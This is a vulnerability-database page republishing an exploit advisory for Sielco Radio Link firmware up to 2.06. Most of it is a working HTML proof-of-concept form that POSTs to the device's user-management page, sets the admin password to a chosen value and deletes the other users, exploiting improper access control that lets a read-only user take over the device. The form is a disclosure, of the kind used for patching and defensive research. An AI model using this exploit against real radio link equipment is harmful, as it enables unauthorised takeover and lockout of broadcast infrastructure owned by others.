Vulners
Lucene search
Sielco Radio Link 2.06 Improper Access Control
🗓️ 12 Apr 2023 00:00:00Reported by LiquidWorm, zeroscience.mkType 
packetstorm🔗 packetstormsecurity.com👁 292 Views
`<!--
Sielco Radio Link 2.06 Improper Access Control Change Admin Password
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.06 (RTX19)
2.05 (RTX19)
2.00 (EXC19)
1.60 (RTX19)
1.59 (RTX19)
1.55 (EXC19)
Summary: Sielco develops and produces radio links for all transmission
and reception needs, thanks to innovative units and excellent performances,
accompanied by a high reliability and low consumption.
Desc: The application suffers from improper access control when editing
users. A user with Read permissions can manipulate users, passwords and
permissions by sending a single HTTP POST request with modified parameters
and edit other users' names, passwords and permissions including admin
password.
Tested on: lwIP/2.1.1
Web/2.9.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5760
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5760.php
26.01.2023
-->
<html>
<body>
<form action="http://radiolink/protect/users_rx.htm" method="POST">
<input type="hidden" name="pwd0" value="Ch4nged12" /> <!-- This will set/modify admin pwd -->
<input type="hidden" name="pwd0bis" value="Ch4nged12" /> <!-- This will set/modify admin pwd -->
<input type="hidden" name="user1" value="" /> <!-- This will set/modify user1 -->
<input type="hidden" name="pwd1" value="" /> <!-- This will set/modify user1 pwd -->
<input type="hidden" name="pwd1bis" value="" /> <!-- This will set/modify user1 pwd -->
<input type="hidden" name="auth1" value="0" /> <!-- This will set user1 read perm -->
<input type="hidden" name="user2" value="" /> <!-- This will set/modify user2 -->
<input type="hidden" name="pwd2" value="" /> <!-- This will set/modify user2 pwd -->
<input type="hidden" name="pwd2bis" value="" /> <!-- This will set/modify user2 pwd -->
<input type="hidden" name="auth2" value="0" /> <!-- This will set user2 read perm -->
<input type="hidden" name="user3" value="" /> <!-- This will set/modify user3 -->
<input type="hidden" name="pwd3" value="" /> <!-- This will set/modify user3 pwd -->
<input type="hidden" name="pwd3bis" value="" /> <!-- This will set/modify user3 pwd -->
<input type="hidden" name="auth3" value="0" /> <!-- This will set user3 read perm -->
<input type="submit" value="Modify admin pwd, delete all users" />
</form>
</body>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Apr 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8